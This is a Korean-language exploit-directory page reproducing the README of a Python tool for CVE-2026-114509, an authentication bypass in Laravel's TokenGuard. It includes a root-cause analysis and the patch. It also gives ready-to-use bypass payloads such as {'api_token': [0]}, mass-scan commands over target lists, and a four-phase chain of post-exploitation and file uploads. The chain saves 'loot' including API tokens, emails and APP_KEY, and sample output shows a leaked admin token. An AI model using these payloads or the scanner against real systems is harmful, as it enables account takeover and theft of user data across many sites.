Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-114509 — Laravel TokenGuard의 비문자열 API 자격 증명을 통한 인증 우회 | Kitploit
도구/GitHubGitHub/nxploited/cve-2026-114509
ReconnaissanceVulnerability ScannersWeb Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingAuthentication
GitHubnxploited/cve-2026-114509

CVE-2026-114509

716시간 56분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Laravel TokenGuard의 비문자열 API 자격 증명을 통한 인증 우회

저장소 보기

CVE-2026-114509

문자열이 아닌 API 자격 증명을 통한 Laravel TokenGuard 인증 우회

🔴 CVE-2026-114509 — Laravel TokenGuard 인증 우회

Laravel Framework의 인증되지 않은 인증 우회 — TokenGuard API Guard


📋 개요

CVE-2026-114509는 Laravel Framework에 내장된 TokenGuard의 치명적인 인증 우회 취약점입니다.

MySQL 또는 MariaDB에서 표준 토큰 기반 API guard로 구성된 경우, 인증되지 않은 공격자가 조작된 비문자열 자격 증명(JSON 배열)을 제출하여 인증 조회가 의도하지 않은 기존 사용자와 일치하게 만들 수 있으며, 이를 통해 유효한 API 토큰을 전혀 모르는 상태로 전체 접근 권한을 획득합니다.

이는 영향을 받는 guard로 보호되는 모든 라우트에서 완전한 계정 탈취로 이어집니다.


🛡️ 취약점 세부 정보

필드세부 정보
CVE IDCVE-2026-114509
GHSAGHSA-f9x3-7vq9-cph6
영향받는 소프트웨어Laravel Framework (laravel/framework)
영향받는 버전< 12.68.0 및 >= 13.0.0, < 13.29.0
유형인증 우회
CWECWE-287 — 부적절한 인증
CWECWE-1287 — 지정된 입력 유형의 부적절한 검증
CVSS 4.0 점수9.2 / 10 — 치명적
CVSS 벡터CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
인증필요 없음 (사전 인증)
조건MySQL / MariaDB 백엔드
패치v12.68.0 / v13.29.0

⚙️ CVSS 4.0 분석

지표값의미
공격 벡터네트워크인터넷을 통해 원격으로 악용 가능
공격 복잡도낮음MySQL/MariaDB 외에 특별한 조건 없음
공격 요구 사항존재MySQL/MariaDB의 타입 강제 변환 동작 필요
필요 권한없음인증 불필요
사용자 상호작용없음피해자의 조치 불필요
기밀성높음인증된 사용자 데이터에 대한 전체 읽기 접근
무결성높음우회된 사용자로서 데이터 수정 가능
가용성높음계정 탈취를 통해 서비스 중단 가능

🔬 기술 분석

근본 원인

이는 HTTP 요청 파싱, PHP 프레임워크 로직, SQL 데이터베이스 동작 사이의 경계에서 발생하는 타입 혼동 버그입니다. 세 가지 평범한 동작이 결합하여 취약점을 만들어냅니다:

  1. TokenGuard가 비문자열 입력을 허용함 — TokenGuard.php의 user() 메서드는 is_string($token) && !empty($token) 대신 !empty($token)을 사용합니다. JSON 요청 본문은 토큰 값으로 배열이나 정수를 제공할 수 있습니다.

  2. EloquentUserProvider가 WHERE IN 쿼리를 생성함 — retrieveByCredentials()가 배열 값을 받으면 WHERE api_token = ... 대신 WHERE api_token IN (...)을 생성합니다.

  3. MySQL 타입 강제 변환 — MySQL은 비교를 위해 문자열 컬럼을 숫자로 변환합니다. 정수 0은 숫자로 시작하지 않는 모든 문자열(대부분의 API 토큰이 이에 해당)과 일치하는데, MySQL이 해당 문자열을 0.0으로 캐스팅하기 때문입니다.

악용 체인

JSON Body: {"api_token": [0]}
        │
        ▼
TokenGuard::user()
  → getTokenForRequest()
  → !empty([0]) === true          ← Should reject non-string
        │
        ▼
EloquentUserProvider::retrieveByCredentials()
  → WHERE api_token IN (0)        ← Array becomes WHERE IN
        │
        ▼
MySQL Type Coercion
  → 0 == "wAWrHm..." → true      ← Int 0 matches any string token
        │
        ▼
first() returns User #1
  → check() === true
  → Authentication Bypassed ✓

공격 흐름

┌──────────────────────────┐
│    Attacker (No Creds)   │
└────────────┬─────────────┘
             │
             │  POST /api/user
             │  Content-Type: application/json
             │  {"api_token": [0]}
             ▼
┌──────────────────────────┐
│    Laravel Application   │
│                          │
│  TokenGuard::user()      │
│    ↓ !empty([0]) = true  │
│  retrieveByCredentials() │
│    ↓ WHERE IN (0)        │
│  MySQL coercion          │
│    ↓ 0 matches strings   │
│  Returns first user      │
│    ↓ Authenticated ✓     │
│                          │
└────────────┬─────────────┘
             │
             │  200 OK
             │  {"id":1, "name":"Admin",
             │   "email":"[email protected]",
             │   "api_token":"wAWrHm..."}
             ▼
┌──────────────────────────┐
│  Full Account Takeover   │
│  • User data exposed     │
│  • API token leaked      │
│  • Admin access possible │
└──────────────────────────┘

수정 사항

Laravel은 타입 검사를 추가하여 TokenGuard.php를 패치했습니다. 토큰이 문자열이 아니면 가드는 즉시 null을 반환하고 사용자 프로바이더를 호출하지 않습니다:

// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }

// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }

🚀 사용법

요구 사항

  • Python 3.7+
  • requests
  • rich (컬러 터미널 출력용)

설치

git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich

모드

이 도구는 대량 스캔과 단일 대상 심층 프로브의 두 가지 모드를 지원합니다.


🔍 모드 1: 대량 스캔

취약점에 대해 대상 목록을 스캔합니다:

python CVE-2026-114509.py scan targets.txt

옵션:

python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
플래그기본값설명
targets(필수)대상 URL이 포함된 파일 (한 줄에 하나씩)
--threads60동시 스레드 수
--timeout12요청 타임아웃 (초)

대상 파일 형식 (targets.txt):

https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com

스킴이 없는 대상은 기본적으로 https://로 설정됩니다.

출력 파일 (스크립트 디렉터리에 생성됨):

파일내용
LV_DETECTED.txt탐지된 모든 Laravel 애플리케이션
LV_BYPASS.txt확인된 인증 우회
LV_UPLOAD.txt업로드 시도 결과
LV_LOOT.txt추출된 데이터 (토큰, 이메일, APP_KEY, 사용자 데이터)

🎯 모드 2: 단일 대상

상세 출력과 함께 단일 대상에 대해 심층 프로브합니다:

python CVE-2026-114509.py single https://target.com

옵션:

python CVE-2026-114509.py single https://target.com --timeout 15

이것은 네 단계를 모두 순차적으로 실행하며 상세한 출력을 제공합니다:

Phase 1: Laravel Detection...
  + laravel_session
  + XSRF-TOKEN
  + api:401

Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
  SUCCESS /api/user [POST] [api_token=[0]]
    id: 1
    name: Admin
    email: [email protected]
    api_token: wAWrHmHkVV...

Phase 3: Post-Exploitation...
  users-list /api/users -> count=15
  panel:nova /nova/api/dashboards

Phase 4: File Upload (52 routes)...

Summary:
  Laravel: Yes (3 signals)
  Bypass:  Yes
  Upload:  0 attempts, 0 verified

🔗 익스플로잇 체인

이 도구는 4단계 체인을 실행합니다:

단계설명세부 사항
1단계🔍 Laravel 탐지쿠키 핑거프린팅, .env 노출, API 엔드포인트 프로빙, 디버그 도구
2단계🔓 인증 우회14개 API 라우트 × 3개 토큰 키 × 6개 페이로드 = 대상당 252개 조합
3단계📡 침투 후 활동사용자 목록 조회, 권한 상승, 토큰 추출, 관리자 패널 탐색
4단계📤 파일 업로드멀티파트 업로드, 아바타 업데이트, JSON base64, 스토리지 PUT, Livewire, 서명된 URL

우회 페이로드

페이로드레이블메커니즘
{"api_token": [0]}[0]배열 → WHERE IN (0) → MySQL 형변환으로 모든 문자열 토큰과 일치
{"api_token": [0, ""]}[0,'']더 넓은 일치 — 빈 토큰 엣지 케이스 포함
{"api_token": 0}int:0원시 정수 — 일부 구성
{"api_token": [null]}[null]배열 내 null
{"api_token": [false]}[false]불리언 false 캐스트
{"api_token": true}bool:true불리언 true — WHERE api_token = 1과 일치

📚 참고 자료

  • CVE-2026-114509 — CVE.org
  • CVE-2026-114509 — NVD (NIST)
  • GHSA-f9x3-7vq9-cph6 — GitHub Advisory
  • Fix Commit — laravel/framework
  • Laravel v12.68.0 Release
  • Laravel v13.29.0 Release
  • OSV — CVE-2026-114509
도구 다운로드